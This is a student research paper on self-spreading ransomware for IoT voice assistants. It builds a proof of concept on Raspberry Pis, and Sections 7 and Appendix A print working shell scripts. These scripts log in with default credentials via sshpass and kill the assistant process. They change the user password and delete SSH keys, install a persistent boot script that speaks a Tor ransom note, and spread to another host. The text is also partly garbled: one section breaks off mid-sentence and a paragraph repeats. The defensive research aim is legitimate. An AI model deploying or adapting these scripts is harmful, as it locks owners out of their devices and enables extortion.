Preventing Ransomware on the Internet of Things

Michael Koopman
University of Twente
P.O. Box 217, 7500AE Enschede
The Netherlands
m.koopman@student.utwente.nl

ABSTRACT
This research looks at the way the Internet of Things could be infected by self-spreading ransomware. This involves analyzing attack vectors, computer worms, resources of IoT devices, building a proof of concept and creating a model of the number of infections over time. At the end a conclusion is drawn on how to prevent ransomware on the Internet of Things.

KEYWORDS
ransomware, internet of things, self-spreading, protection, security, worms, virus, malware, proof of concept, Linux, Raspberry Pi

1. INTRODUCTION
More and more users are confronted with ransomware every day. They, for example, receive an “invoice” in their email and decide to open it, but nothing happens. Before they realize what is happening, all their files are encrypted and a screen similar to the one in figure 1.1 pops up which indicates that the user has to follow the instructions on a certain page, which tells the user to pay some ransom amount.

![Figure 1.1. The lock screen of “Cerber ransomware”, taken from [6].](image1)

At this point, all personal files of the user have been encrypted in such a way that decryption is not possible without a private key in case the ransomware is written well. There are plenty of cases in which the creators of the ransomware wrongly implemented the cryptography which allowed the files to be decrypted without payment but for the sake of this paper, it will be assumed that ransomware is not decryptable without payment.

To ensure that ransomware is not decryptable without payment, proper cryptography must be implemented. A commonly used way to encrypt files is to use RSA [26] in combination with AES [22]. For this example, the Locky [18] ransomware will be discussed. Locky generates an AES-key for each file it wants to encrypt. To ensure that this key is unknown to the victim, each one is encrypted with the RSA public key of the attacker, which is embedded in the ransomware or retrieved from some command-and-control server. A list of the files is made and the encryption process starts. After encryption is done, the only way to recover the files is by obtaining the original AES keys, which can only be obtained by decrypting the encrypted AES keys with the private key of the attacker. The attacker can then wait for the victim to pay the ransom before providing a decryption tool.

Ransomware could and has spread to devices other than computers and servers. Recently, a smart TV was made completely useless because of the FBI ransomware [1].

![Figure 1.2. FBI ransomware running on a smart TV, taken from [1].](image2)

Initially, there was no way to reset the television, as the victim was not able to get to the option to reset the TV to factory settings. Fortunately, they were able to contact the manufacturer who gave them a workaround which allowed them to restore the functionality of their TV.

Since ransomware is such a profitable business, it will keep spreading to other devices as well. It can be assumed that ransomware will spread to Internet of Things devices within the next couple of years. Therefore, it is important to do research on
how the ransomware could infect a device, spread itself to other devices and how it would lock down those devices in order to take preventive measures.

Since there are so many devices, infecting them one-by-one would be a time-consuming task. Once an exploit is found that works on one device, there’s a reasonable chance it might also work on another device. This would make self-spreading ransomware a way more effective method than traditional infection methods. Once a device is infected, it can attempt to infect other devices as well. This behavior is much like that of a computer worm [4]. Not only does this have the advantage that infection is faster but a network of devices which are not all connected to the internet can also be infected, as long as they are interconnected and one of them is connected to the internet.

One problem with self-spreading ransomware is that some IoT devices have few resources in terms of hardware. This might make it more difficult to spread in an efficient way. Therefore, some minimum requirements for self-spreading ransomware have to be defined.

1.1 Problem statement
More and more devices are infected with ransomware every day. It is only a matter of time before ransomware spreads to IoT devices. Therefore, research in this area is important. To protect IoT devices from ransomware, it has to be researched how the ransomware could infect a device, spread itself to other devices and how it would lock down those devices, such that preventive measures can be taken.

1.2 Research questions
The main research question of this research is:
- What preventive measures could be taken to prevent ransomware on IoT networks?
In order to answer this question, the following subquestions have to be answered:
- What attack vectors could be used by ransomware in order to gain access to an IoT device?
- Which IoT devices are most interesting for self-spreading ransomware to infect?
- How could ransomware spread itself from one IoT device to another?
- How could ransomware lock down an IoT device?

2. RELATED WORK
A lot of research has been done on the topic of ransomware and IoT. Some examples will be discussed in this section.

2.1 Ransomware
Gazet explains some history about ransomware and general information, such as how it infects systems [17]. Although this research was done in 2010, it still contains information that is relevant to this date and it is interesting to read because back then, ransomware was less common.

Lio et al. describe some preventive measures to avoid getting ransomware on user’s computers [23]. Some examples are user awareness and policies.

Kharraz et al. describe how ransomware has evolved between 2006 and 2014 and present preventive measures against it [19].

Andronio et al. systematically analyze Android ransomware characteristics and propose a first set of mobile-specific indicators of compromise [2].

Cabaj et al. describe the network behavior of the CryptoWall ransomware [10].

2.2 Internet of Things
Xia et al. give a definition of the internet of things. In the paper are some names of other papers which contain research done about the Internet of Things [35].

Zanella et al. provide a comprehensive survey of the enabling technologies, protocols, and architecture for an urban IoT network. They discuss the technical solutions and best-practice guidelines adopted in the Padova Smart City project and a proof-of-concept deployment of an IoT island in the city of Padova, Italy [36].

Christin et al. describe the issues that arise when connecting wireless sensor networks to the internet [12].

Roman et al. show the various challenges that need to be solved for the use of distributed architectures within the Internet of Things [25]. In a distributed architecture, entities at the edge of the network exchange information and collaborate in a dynamic way.

3. METHOD OF RESEARCH
To identify attack vectors that could be used by ransomware in order to gain access to an IoT device, a literature study on which attack vectors current malware uses and how this could apply to the Internet of Things is required. It is likely that these attack vectors differ from the attack vectors used by traditional ransomware. Some articles and papers will be read to identify potential attack vectors and those applicable to IoT devices will be noted. The result of this literature study is a list of attack vectors the ransomware could use in order to gain access to a device.

Based on this list and a literature study on computer worms, an IoT device will be proposed which would be interesting for self-spreading ransomware to infect. Computer worms are programs that spread itself to other devices. In case ransomware spreads itself from one IoT device to another, it is considered a worm. It is expected that the ransomware would spread in a similar way to some known worm, but it could be different. The result of the literature study on computer worms is a list of usable ways for ransomware to spread to other devices. Based on this list and the attack vectors from the previous research question an IoT device will be identified that could be a realistic target for self-spreading ransomware.

After an IoT device has been chosen, it requires a proof of concept to see how the ransomware could spread itself from one IoT device to another. For this proof of concept, two Raspberry Pis will be used. On the Pis, a program will run that emulates the behavior of the IoT device from the previous research question. One Pi will be infected with the ransomware. For this, one of the attack vectors from the first research question will be used. After infection, the ransomware should focus on spreading to other devices using an attack vector from the previous research question. In order to make sure it just spreads to the other Pi, and not to other devices on the internet, appropriate measures will be taken. For example, the IP of the second Pi could be hardcoded.
During the design of the ransomware, some design choices will have to be made. Is it, for example, better to first lock a device and then spread, or to spread as much as possible and then lock down the device? These choices will be made during the development of the ransomware and cannot be specified in advance. The choices will be documented in detail. For this research question, it is enough that the ransomware leaves a note in some directory saying the device has been hacked. The next research question focuses on locking down the device.

After the self-spreading ransomware has been made, the proof of concept should be extended such that it actually takes a device for ransom. First, a couple of ways to lock down the IoT device will be discussed, and then this will be implemented. The result of this research question is one or multiple ways to lock down an IoT device, with a proof of concept for at least one of them. It will also be analyzed how quickly this ransomware could spread based on this final proof of concept.

After the proof-of-concept is finished, some measures will be presented to prevent ransomware on the IoT based on the attack vectors identified in the previous research questions and the proof of concept.

4. WHAT ATTACK VECTORS COULD BE USED BY RANSOMWARE IN ORDER TO GAIN ACCESS TO AN IOT DEVICE?

In order to find out how to prevent ransomware on IoT devices, it is required to take a look at attack vectors of traditional malware. The reason to look at attack vectors of malware in general instead of just ransomware is that ransomware on IoT devices might use different attack vectors than the ones that ransomware on computers and laptops use. After taking a look at the attack vectors of traditional malware, a look will be taken at attack vectors on IoT devices in general. These attack vectors will then be examined for usability and a conclusion will be drawn about the most likely attack vectors.

Computer Hope proposes some ways in which traditional malware can get on a user’s computer [14].

- **Acceptance without reading.** A user could, for example, get a prompt while browsing the internet saying that their computer is infected or a plug-in is required to view some content. The user accepts this prompt and becomes infected. Another way acceptance without reading is used in practice is in the installer of some free programs. Some users keep clicking Next in those installers until the installer starts installing. Unknowingly, they have allowed the installer to install additional software that they probably do not want on their computer.

- **Downloading any infected software.** A good example of this is KeRanger [13]. Mac users who downloaded and installed version 2.90 of the popular BitTorrent client Transmission [29] had an unpleasant surprise waiting for them a couple of days later. Three days after installation KeRanger would encrypt all their files and keep them for ransom. Although the user thought they downloaded the official Transmission client, they actually downloaded an infected version which was uploaded by a cybercriminal who compromised their website.

- **Opening sketchy e-mail attachments.** The author has personally seen two ransomware attacks happen because of this method. In both cases, an e-mail was sent from “KPN” (a large telecom provider in the Netherlands) with an attachment, which would supposedly contain the invoice. When the client opened this attachment, they actually opened a .exe or .js file, which executed some ransomware. The author is not able to remember which ransomware exactly executed in the first attack, but in the second attack, the Cerber ransomware was used. In both cases, the affected parties were able to fully recover using back-ups.

- **Inserting or connecting an infected disk or drive.** An interesting example of this is when IBM distributed USB keys with malware on them at the AusCERT conference back in 2010 [27]. If the USB key was inserted into a Windows computer with autorun enabled, the malware would be launched.

- **Visiting unknown links.** A good example of this is a ransomware campaign that used Twitch [31] chat to spread. Twitch is a livestreaming platform for gamers, video game culture and creative arts [30]. Almost every livestream has a chat function, which allows the viewers to interact with the broadcaster. The author has seen messages in these chatrooms that would be something like “Hot girls… bit.ly/FAKELINK”. When the user clicked on the link, they would download a .scr file. The user might assume this extension stands for “screenshot”, but it actually stands for “script”. Opening this file started a nasty ransomware which would encrypt all the user’s files.

- **Not running the latest updates.** The recent WannaCry (or WannaCryptor or WannaDecryptor) outbreak could have been completely avoided if everyone had patched their systems. WannaCry is a ransomware worm that spread through SMB using an NSA exploit that was leaked by the Shadow Brokers group back in April 2017 [7] [8]. WannaCry started spreading in May 2017 [8]. Microsoft released a patch for the NSA exploit back in March 2017 [24]. All computers that were infected were not running the latest updates. This allowed WannaCry to make many victims.

- **Pirating software, music or movies.** A. Berns and E. Jung wrote a paper on malware in BitTorrent back in 2008 [5]. Their conclusion stated that approximately one fifth of the files they downloaded for their research contained malware.

- **Not running an updated anti-virus.** This consists of two parts: not running an anti-virus and not updating the anti-virus. Not running an anti-virus is a really bad idea, since threats could get onto a computer without anything stopping them. Not updating an antivirus is also a bad idea, because the computer will not be protected against newer threats that are made every day.
The last section discussed some attack vectors on traditional malware. The next section discusses some attack vectors on IoT devices.

- **Not changing default root passwords.** An example of this is the Mirai malware, which spreads by scanning the Internet for devices of which the factory default usernames and passwords have not been changed [21]. This malware created a botnet that has launched several DDoS attacks, which have had an impact on websites like Twitter, Amazon, Tumblr, Reddit, Spotify and Netflix [20].

- **Wearable malware.** Things like smartwatches or smart glasses could also be used to spread malware [34]. Since these devices travel with the user, they could potentially reach a lot of other devices they could infect.

Now that some attack vectors have been identified it is time to answer the first research question: What attack vectors could be used by ransomware in order to gain access to an IoT device? In order to answer this question, each traditional attack vector will be applied to an IoT device to see whether it would be a feasible option.

**Acceptance without reading** might be an option. A user could, for example, be prompted for a fake security update for one of their IoT devices. In case the user agrees to install this update, the IoT device can become infected. The user also could be prompted for their password, which can then be used to gain access to the IoT device and lock it down. The problem with this approach for this research is that it is not a good way to make the ransomware self-spreading since it requires user interaction. It is definitely an attack vector that could be used but it would be a lot slower than other attack vectors which spread without user interaction.

**Downloading any infected software** might be a feasible option. There are two ways this could work. The first is that the user accidentally runs some malicious code or installs some malicious application on the IoT device. This is seen in the Smart TV example in the Introduction. This is a feasible method of infection but in order for this to infect many devices, this app would have to become very popular which is rather difficult when it contains malware.

The second way is that the user runs a malicious piece of code on their own computer, which scans the home network for IoT devices and somehow infects them. This is a more feasible way of infection since the ransomware could not only lock down the user’s IoT devices, but also the user’s computer. In case the user has many infected IoT devices and an infected computer, they are more likely to not bother restoring their computer from backups and resetting each and every single IoT device in their network, and therefore just to pay the ransom. This would require all those IoT devices to be vulnerable to remote attacks which could be possible but is not that likely.

**Opening sketchy e-mail attachments** is a way for an infection to happen. The infection could happen similar to the second way of **Downloading any infected software.**

Inserting or connecting an infected disk or drive could be possible, but that would require that the IoT device has a USB port or something similar and that it would automatically run whatever software is on the USB drive. This is rather unlikely.

**Visiting unknown links** is possible but the infection would happen similar to the second way of **Downloading any infected software.**

**Not running the latest updates** is way more feasible option than the other options provided. Suppose a remote code execution attack is discovered on some IoT device. The manufacturer patches it and a while later the exploit is made public. As seen with the WannaCry outbreak [8] users might not install their security patches after they are released. Take for example a scenario in which 10% of the affected IoT devices are not patched a month after some security update is released for a remote code execution exploit. In case there are millions of affected devices, the damage done could still be very significant. This is also a great way for ransomware to spread, as seen, again, by the WannaCry outbreak. This is definitely one of the more interesting attack vectors to look at.

**Pirating software or movies** could also be possible but it would also happen similar to the second way of **Downloading any infected software.**

**Not running an updated anti-virus** is also an interesting one. Because IoT devices tend to not have many resources it is likely that they are not running an anti-virus. Not having many resources could also mean that the IoT device is not capable of running a virus at all. This has been researched further in the next section of this paper.

## 5. WHAT IOT DEVICES ARE MOST INTERESTING FOR SELF-SPREADING RANSOMWARE TO INFECT?

Now that it has been identified that the most interesting attack vectors are **Not running the latest updates** in combination with **Not changing default root passwords**, some IoT devices can be proposed which are interesting for self-spreading ransomware to infect.

To answer this research question, some literature study has to be done on the topic of worms and resources that IoT devices have. This section starts off with some examples of worms from the past in order to identify the method that they spread through. Then, these methods are applied to IoT devices in order to check their feasibility. Lastly, some IoT devices will be suggested that could be infected through these methods.

### 5.1 Worms

In order to do research on worms, it is required to know exactly what a worm is. There are several definitions out there, but for this paper, the definition of a worm will be “a computer program that spreads itself to other computers”. The reason the term “program” is chosen here instead of “virus” is that a worm does not have to be malicious. An example of this is the anti-Mirai worm [9]. Mirai itself was a worm that spread by scanning the Internet for devices whose username and password had not been changed from factory default settings and infecting them [21]. These devices were then used as part of a botnet to for example launch DDoS attacks. The anti-Mirai worm also scanned the Internet for devices whose username and password had not been changed for factory default, but instead of using them for a botnet, the worm changed the factory default password such that the Mirai worm could not infect the devices. Now that a
definition of a worm has been given, some examples of worms will be analyzed.

It is interesting to start with the first computer worm every created. This turns out to be the Morris worm [32]. It spread by using known vulnerabilities in several applications, as well as weak passwords. Although the worm was not intended to be malicious, an unintended side-effect of the code caused it to be. The worm would not check whether the computer was already infected before infecting it. Each time the worm infected the computer it would become slower and slower until it had become unusable.

Then it is interesting to analyze one of the most famous worms, the ILOVEYOU virus. Once a computer is infected with the ILOVEYOU virus, it sends itself to all contacts in the Microsoft Outlook address book and to IRC channels using mIRC [28]. An example of the e-mails it sent out can be found in figure 5.1. Besides spreading, it would also overwrite files on local and remote drives, mostly with copies of itself. This caused a lot of damage.

Then it is interesting to look at one of the most recent worms, the WannaCry worm. This worm spread through an SMB exploit. SMB is a file sharing protocol used in Windows to transfer files between multiple computers. If every computer in the world would have run the latest security patches, no-one would have been infected.

5.2 Taking IoT devices for ransom
In this section, an IoT devices will be proposed that could be a realistic target for a self-spreading ransomware attack.

In order to take something for ransom, there has to be something that can be taken for ransom. Although this paper does not discuss the “business” side of ransomware, the author wanted to leave the note that this thing that would be taken for ransom should have a higher value than the ransom asked, otherwise the victim would simply buy a new device or wipe the device. For this paper, it is assumed that the thing taken for ransom has a significantly higher value than the ransom asked.

In order to see which devices are eligible for a ransomware attack, it is required to see what the minimum requirements are to use the attack vectors from the previous section, namely default passwords or exploits. For default passwords, it is required that the device has some kind of authentication built in. This could mean that the device would have an operating system with a web server to show the live feed, in the case of an IP camera. It could also mean the device has a default Bluetooth key, for example for a fitness tracker. In any case, exploiting default passwords requires that there is some kind of authentication mechanism with a default password.

For exploits, it is required that the device can be exploited. For this, a connection has to be made to the device. This could, for example, be achieved by opening a root shell on a smart hub using a known vulnerability or using a badly coded web server for remote code execution. In any case, exploiting exploits requires something that is exploitable.

Then it is interesting to look at what self-spreading ransomware would require in order to work. In order for it to infect as many devices as possible, it should try to infect devices that are very common, such that the same exploit can be used over and over again and many devices get infected. It would also be useful if these devices had a direct connection to the internet, so they could help spread the ransomware further. Then, it would be useful if the device had some kind of way of informing the user that they have to pay some ransom, so the user knows it is infected and didn’t just break. It would also be useful that these devices run on the same operating system and come pre-configured out of the box. This would mean that there is a higher chance for default passwords to work. It would also be useful to be able to overwrite any reset function of the device. This way the user cannot reset the device back to factory settings to get rid of the ransomware.

One IoT device that could meet all these requirements is a Virtual Assistant. A Virtual Assistant is a device that allows the user to control other IoT devices in a home, for example by voice or an app. An example of this is controlling what’s playing on a television using Google Home. If a ransomware could infect such a device, it might also be able to infect devices connected to it. Imagine it sending a signal to the television to turn off every 2 seconds or turning it off and on every 5 minutes. Moreover, most Virtual Assistants are connected to the internet in order to allow remote control via an app and to respond to voice commands. The device probably also has a speaker to respond to voice commands, which can be used by the ransomware to tell that the device has been taken for ransom. One example of such a device would be an Athom Homey, which runs on a modified version of Linux, namely Homey OS [3]. It is rather likely that this device or any Virtual Assistant won’t get security updates after a couple of years, making it vulnerable to exploits. In some cases, there might even be a default password to gain access to the device. A reasonable way to get the Virtual Assistant infected is for example by making the user install a malicious app on their smartphone. This example is justified by the conclusion of how traditional malware infects devices (download any infected software, not running an antivirus and acceptance without reading). This app would then connect to the Virtual Assistant and infect it. The Virtual Assistant could then infect the rest of the network.

6. HOW COULD RANSOMWARE SPREAD ITSELF FROM ONE IOT DEVICE TO ANOTHER?
There are several ways for worms to spread, like default or weak passwords, e-mail, IRC and exploits. Default passwords and
exploits are serious attack vectors for IoT devices. In order for these attack vectors to work, a common operating system is required in combination with hardware to run such an operating system. An IoT device that could meet all these requirements is a Virtual Assistant running on a Linux operating system. Many IoT devices in an IoT network are connected to the Virtual Assistant. In case the Virtual Assistant is taken for ransom, other devices in the IoT network could also be taken for ransom. The reset function on such an IoT device should also be overwritten, such that it cannot be set back to factory default settings. In this section, the creation of a proof-of-concept attack on a Virtual Assistant will be discussed. This section focuses on the spreading part of the ransomware and leaving a ransom note, the next section focuses on locking down the IoT device.

6.1 Building the Proof of Concept

For this proof of concept, two Virtual Assistants will be required. Since it outside the scope of this research to actually find vulnerabilities in devices like Google Home, such a device will be emulated and the Proof of Concept will use either a default password and/or known exploits.

This proof of concept will start by firstly creating two Virtual Assistants, according to a tutorial by AndroidAuthority[16]. This Virtual Assistant runs on a Raspberry Pi and uses the Google Assistant API to answer questions. These questions can be asked by pressing a button and speaking the question.

6.1.1 Setting up the Raspberry Pi’s

After downloading the image and putting it on an SD card, it was put in the first Raspberry Pi. This booted without problems. After connecting a microphone and using the HDMI output to a TV to get sound, the Virtual Assistant program was not able to find the microphone. This was fixed by editing a config file to point it to the correct microphone. After this, it was verified that the Virtual Assistant worked.

6.1.2 Method of spreading

First of all, the method of spreading had to be considered. In the conclusion of the Spreading of worms section, it was identified that the best ways to spread were default passwords and exploits. Since in this case, it is easier to spread using default passwords than finding a new exploit and the Virtual Assistant toolkit does not require you to change the default password it was decided to go with that. The default username on a Raspberry Pi is ‘pi’ and the default password is ‘raspberry’.

6.1.3 Ransom note

Now for taking the device for ransom. It was decided to start with the ransom note. the device had been taken for ransom. The most efficient way to get the user to know that their device has been infected is probably by playing a ransom note over the speakers. There are several ways this could be done. The first way is by getting an audio file over the internet or via the TOR network. It is not very likely that the ransomware author will get a file over the internet, a server has to be setup to serve that file, which has enough capacity for all the infected devices to download it. They could use a hacked server, but that might go down under the load. A better way would be to use text-to-speech on the device. Since it is a Virtual Assistant, this might even already be present on the device. Unfortunately, in the case of the Raspberry Pi, some additional packages have to be installed, which requires root privileges[15]. It was decided to firstly try the Festival test-to-speech, to see how well it would work. In order for packages to be installed, root privileges are required. Fortunately, the SSH password can be used for this, by using the sudo command. The first line of the script could look something like this:

```
echo 'raspberry' | sudo -S apt-get update &
```

```
echo 'raspberry' | sudo -S apt-get install festival --y
```

This inserts ‘raspberry’ into the sudo command, which allows apt-get update and apt-get install to run as root user and says yes to all prompts. This line could also be used to install additional dependencies in case they are needed later. Notice that ‘raspberry’ is the default password for a Raspberry Pi. This script will be saved as local.sh.

Now that the text-to-speech engine is installed, it should start saying that the device has been taken for ransom and that they should go to some TOR website to pay some ransom to unlock the device. An example of the second line of the script could like this:

```
echo 'This device has been taken for ransom. To restore access to your device, download TOR browser and go to 6m7dvmzk5xwtivkr.onion' | festival --tts
```

It was quickly discovered that the pronunciation of the onion link went too fast for it to be heard. A solution for this could be to use the phonetic alphabet to make sure every letter of the onion address can be understood properly and to explicitly say that a number is a number. The command should be changed into something like this:

```
echo 'This device has been taken for ransom. To restore access to your device, download TOR browser, look up the phonetic alphabet and go to number 6. mike. number 7. delta. victor. mike. kilo. zulu. number 5. xray. whiskey. tango. india. victor. kilo. romeo. dot. oscar. november. india. oscar. november.' | festival --tts
```

This worked well enough. Although the user might have to do more effort to decode the address, at least it can be assured that they know where to go.

Now, this command should run the background while the Virtual Assistant infects other devices. It should also run every so often. For this, a loop can be used.

```
while true; do
    #run text-to-speech command
    Done
```

6.1.4 Infecting the other Pi

Now that the ransom note is spoken, it should infect the other Pi. In order to do this, it should copy itself to the other Pi and run itself. For this, SSH can be used. The problem with the ssh command is that it does not support entering a password automatically. There are several solutions to this problem, but the easiest is to install the sshpass package. The sshpass package can be added to the first line of the script and it will be automatically installed. Now the following command can be used to connect to the other Pi and run the script:
7. HOW COULD RANSOMWARE LOCK DOWN AN IOT DEVICE? 
Now that the ransomware can spread, it is time to lock down the devices. In order to find the best ways to do this, a couple of methods for this are discussed. 

Traditional ransomware locks down a device by encrypting files or hard drives. In the case of a Virtual Assistant, there are most likely no personal files on the device. It might have access to network shares on which for example music is stored which it can play. All files on these network shares could be encrypted and a ransom note could be left in each folder and/or played on the speaker of the Virtual Assistant. Although this seems like a possible scenario, it is way too similar to what current ransomware does and is therefore not interesting for this research. 

A second way of taking the device for ransom is by disabling the voice control and speaking a ransom note instead of an answer to questions. This disables the main function of the device and is more interesting for research. 

A third way is by taking other (IoT) devices on the network for ransom by infecting them. If it were possible to completely disable a very expensive TV or all the lights in the house until some ransom is paid, the user would probably be very likely to pay up. Although this is a very interesting way of locking down the device, it is outside the scope of this research. This might be interesting for future research. 

It is therefore decided to go with the second option of disabling the voice control and speaking a ransom message instead of answers to questions. 

7.1.1 Killing the voice listener process 
In order to do take the device for ransom, the scripts have to be modified to kill the voice listener process. This is done by adding the following line to the script: 

```
sudo pkill -9 python3
```

This line kills all python processes, including the voice listener. 

Since the sudo password has already been entered for installing packages, it does not have to be entered again. 

7.1.2 Preventing remote access 
Now that the voice listener is shutdown, the ransomware must prevent the user from getting access to the device, otherwise, they could just reactivate it. A way to do this is by changing the password for the default user. This can be done using the chpasswd command. Changing the password will happen before infecting the other Pi and before speaking the ransom note. This requires root privileges. 

```
echo "pi: I will change default passwords in the future" | sudo chpasswd
```

Since this ransomware is made for educational purposes, the password is set to “I will change default passwords in the future”. This should prevent the user from logging in with his password. 

There is an alternative way to login via SSH, and that is using SSH keys [33]. In order to make sure that is not possible, all authorized keys should be removed. This can be achieved by deleting the authorized_keys file. 

```
sudo rm -f /home/pi/.ssh/authorized_keys
```

Now the user should be completely locked out of the device. 

7.1.3 Persisting through reboots 
One last problem is that the Virtual Assistant will run when the device is rebooted. To prevent this, the script should be killed on startup and the ransom message should be played. 

The local.sh and remote.sh have been modified to include the following line:

```
printf "#\041/bin/sh\nwhile true; do\ntppkill -9 python3\ntecho 'This device has been taken for ransom. To restore access to your device, download TOR browser, look up the phonetic alphabet and go to number 6. mike. number 7. delta. victor. mike. kilo. zulu. number 5. xray. whiskey. tango. india. victor. kilo. romeo. dot. osac. november. india. osac. november.' | festival -tt\ndone " | sudo tee /etc/init.d/ransomscript.sh && sudo chmod +x /etc/init.d/ransomscript.sh && sudo update-rc.d ransomscript.sh defaults
```

This script continuously tries to kill all running Python processes (among which the voice recognizer) and is set to run at startup. The tee command is used because the printf command is not able to write to privileged files. 

The full scripts can be found in Appendix A. 

7.1.4 TOR website 
Now that the devices are infected and are no longer accepting voice commands, it is time to setup the TOR website which was mentioned in the ransom note. This website is setup on a third Raspberry Pi and is at the time of writing reachable via 6m7dvmz5xwtivkr.onion using the TOR browser. This website should contain instructions on how to unlock the device. Since
This ransomware is made for research purposes, it should simply state that the user should SSH into the device using the new password, change the password and reboot. The technical details of setting up this TOR website are not interesting for this paper and therefore left out. In figure 7.1 a screenshot of the very basic website can be found.

Figure 7.1. A screenshot of the TOR website the ransomware tells the user to go to

There is now a ransomware that takes the function of the Virtual Assistant for ransom and spreads itself to other devices.

7.1.5 Model for infected devices over time

Finally, it is interesting to look at how quickly the ransomware could spread to other devices. Since one device can infect many others, and those other can infect others too, the growth rate would be exponential. Based on a video that was made and some assumptions, a model can be created.

Most of the time the ransomware is installing dependencies. In case both the sshpass and the festival libraries are not installed, it takes around 2 minutes and 7 seconds for both devices to download and install these. The time it takes for both devices to get infected when these dependencies are already on there are 18 seconds. Since the IP address of the second Pi is hardcoded, it does not have to scan for other devices to infect. Since the time it takes to scan for other devices is variable and does not have to scan for other devices to infect, the growth rate would be exponential. Based on a video that was made and some assumptions, a model can be created.

In this model, it is seen that within 4 hours over a million devices could be infected. From this, the conclusion can be drawn that if such a ransomware were to exist, the impact would be terrific.

In conclusion

8. WHAT PREVENTIVE MEASURES COULD BE TAKEN TO PREVENT RANSOMWARE ON IOT DEVICES?

If a self-spreading ransomware for the IoT were to exist, the impact would be terrific. This type of ransomware could have been avoided if the either the consumer changed the default password on the Raspberry Pi, or the manufacturer would enforce changing the default password before remote access is allowed. This section will summarize the entire paper and give advice to consumers and manufacturers on how to take preventive measures to ensure ransomware cannot infect IoT devices.

In the first research question, some attack vectors were identified. The most interesting ones for self-spreading ransomware were Not running the latest updates in combination with Not changing default root passwords. In the second research question, methods were identified for traditional viruses to spread. Amongst others, these included Not running the latest updates and Not changing default root passwords again. It was also concluded that a common operating system and hardware to run such an operating system is required for self-spreading ransomware to work. Lastly, it was concluded that any reset function should be overwritten by the ransomware. Research questions three and four included building a proof of concept and creating a model for the spreading of such a ransomware virus.

9. FINAL CONCLUSION

Ransomware on the IoT is a serious threat. In order to prevent ransomware from happening on the Internet of Things several changes have to be made. Firstly, an IoT device must not be remotely accessible without changing the default password to a strong one. To ensure this actually happens, manufacturers of IoT devices have to take responsibility. In case the device should be remotely accessed, the device should disable its main function until the default password has been changed to a strong one, such that the customer is required to change it. Secondly, a manufacturer must specify how long the device will get security updates and make their devices automatically install these. Once a customer has many IoT devices, it is no longer possible to manually update every single one. Lastly, manufacturers must make sure that the reset function of an IoT device cannot be overwritten. In case manufacturers do not take responsibility for either of these, laws have to be made that enforce them.

10. REFERENCES


B. Carver. ILOVEYOU email virus SPAM 15 Year Anniversary #cybersecurity #malware #RemberWhen pic.twitter.com/bRkDMdFvnR, July 2015.


Computer Hope. How does a computer get infected with a virus or spyware?, 2017.

Elinux.org. RPi Text to Speech (Speech Synthesis) - eLinux.org.


APPENDIX A - SCRIPTS

local.sh. This is the script that is ran on the original Pi, and it runs remote.sh on the second Pi.

```bash
#!/bin/sh
echo 'raspberry' | sudo -S apt-get install festival sshpass -y
sudo pkill -9 python3
sudo rm -f /home/pi/.ssh/authorized_keys
printf """"\nwhile true; do
  pkill -9 python3
  echo 'This device has been taken for ransom. To restore access to your device, download TOR browser, look up the phonetic alphabet and go to number 6. mike. number 7. delta. victor. mike. kilo. zulu. number 5. xray. whiskey. tango. india. victor. kilo. romeo. dot. oscar. november. india. oscar. november.' | festival -tt\ndone " | sudo tee /etc/init.d/ransomscript.sh && sudo chmod +x /etc/init.d/ransomscript.sh && sudo update-rc.d ransomscript.sh defaults
echo "pi:I will change default passwords in the future" | sudo chpasswd pi
cat remote.sh | sshpass -p raspberry ssh -o StrictHostKeyChecking=no pi@192.168.0.142
while true; do
  echo 'This device has been taken for ransom. To restore access to your device, download TOR browser, look up the phonetic alphabet and go to number 6. mike. number 7. delta. victor. mike. kilo. zulu. number 5. xray. whiskey. tango. india. victor. kilo. romeo. dot. oscar. november. india. oscar. november.' | festival -tt
done
```

remote.sh. This is the script that is ran on the second Pi after it becomes infected.

```bash
#!/bin/sh
echo 'raspberry' | sudo -S apt-get install festival sshpass -y
sudo pkill -9 python3
sudo rm -f /home/pi/.ssh/authorized_keys
printf """"\nwhile true; do
  pkill -9 python3
  echo 'This device has been taken for ransom. To restore access to your device, download TOR browser, look up the phonetic alphabet and go to number 6. mike. number 7. delta. victor. mike. kilo. zulu. number 5. xray. whiskey. tango. india. victor. kilo. romeo. dot. oscar. november. india. oscar. november.' | festival -tt\ndone " | sudo tee /etc/init.d/ransomscript.sh && sudo chmod +x /etc/init.d/ransomscript.sh && sudo update-rc.d ransomscript.sh defaults
echo "pi:I will change default passwords in the future" | sudo chpasswd pi
while true; do
  echo 'This device has been taken for ransom. To restore access to your device, download TOR browser, look up the phonetic alphabet and go to number 6. mike. number 7. delta. victor. mike. kilo. zulu. number 5. xray. whiskey. tango. india. victor. kilo. romeo. dot. oscar. november. india. oscar. november.' | festival -tt
done
```